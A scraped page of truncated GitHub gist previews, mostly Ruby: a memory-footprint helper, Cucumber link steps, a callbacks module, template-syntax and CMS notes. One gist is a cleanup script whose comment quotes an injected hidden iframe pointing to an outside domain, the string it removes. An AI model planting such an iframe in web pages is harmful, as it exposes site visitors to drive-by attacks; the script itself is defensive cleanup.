This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
module ProfilingUtils | |
#only cates for vmmap (os x) and pmap (linux) | |
def ram_footprint | |
footprint = nil | |
case `uname` | |
when 'Darwin' | |
footprint = `vmmap #{Process.pid} | tail -1`[10,40].strip | |
footprint = footprint.split("[").last | |
footprint = footprint.gsub("]", "") |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
module ProfilingUtils | |
#only caters for vmmap (os x) and pmap (linux) | |
def ram_footprint | |
footprint = nil | |
case `uname`.strip! | |
when 'Darwin' | |
footprint = `vmmap #{Process.pid} | tail -1`[10,40].strip | |
footprint = footprint.split("[").last | |
footprint = footprint.gsub("]", "") |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env ruby | |
# | |
# A simple script to remove specified text from all files in a directory tree | |
# remove_offending.rb <target_dir> | |
# bad string - <iframe src="http://odmarco.com/arwe/?736361acd09ca9717c9462514beb5205" width=0 height=0 style="hidden" frameborder=0 marginheight=0 marginwidth=0 scrolling=no></iframe> | |
require 'fileutils' | |
include FileUtils::Verbose | |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#requires nokogori | |
#these steps will let you match the text of a link to its path, to test specific links | |
Given /^I see link "([^\"]*)" to "([^\"]*)"$/ do |arg1, arg2| | |
doc = Nokogiri::HTML(response.body) | |
nodeset = doc.xpath("//a[@href='#{arg2}']") | |
if nodeset.nil? or nodeset.size == 0 | |
fail("No matching link for #{arg2}") | |
else | |
nodeset.first.text.should eql arg1 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# callbacks based on http://snippets.dzone.com/posts/show/5226 and | |
# http://github.com/benhoskings/hammock/tree/master/lib/hammock/callbacks.rb (ben_h) | |
module Trashable | |
include ActiveSupport::Callbacks | |
define_callbacks :before_trashing | |
def trash! | |
run_callbacks(:before_trashing) {|result, object| result == false} | |
self.trashed = true | |
self.save! |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
So hacking on Renshi to reduce typing needed for Ruby insertion led me to change the functionality of $ . It now acts more like a toggle switch and the $ symbol is finally inappropriate. | |
So here I think perhaps the pipe symbol would be a better fit. I'm seeking opinion on the following symbol use. | |
Take a quick glance at the bottom of this file, for the updated symbology. | |
Proprosed symbols: | |
| reserves the rest of the line (up until \n or the end of the element) for ruby, unless another | toggles back into HTML. |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Just hacking some ideas for a CMS. | |
Notes | |
Premise: | |
Know what problems not to solve when writing a CMS, in their absence find easier ones. A dumb CMS. | |
Separation of Concerns |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<!-- which one for attribute expressions? --> | |
1. <span :if="foo">hello</span><span :else>goodbye</span> | |
2. <span ::if="foo">hello</span><span ::else>goodbye</span> | |
3. <span c:if="foo">hello</span><span c:else>goodbye</span> | |
4. <span r:if="foo">hello</span><span r:else>goodbye</span> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#why doesn't this exist? | |
class Foo | |
attr_accessor :two, :one | |
end | |
foo = Foo.new("two", "one") | |
foo.one.should eql "one" | |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#map the 'send' route to a controller then watch Rails break | |
map.connect "/send", :controller => "invitations", :action => "send" |
OlderNewer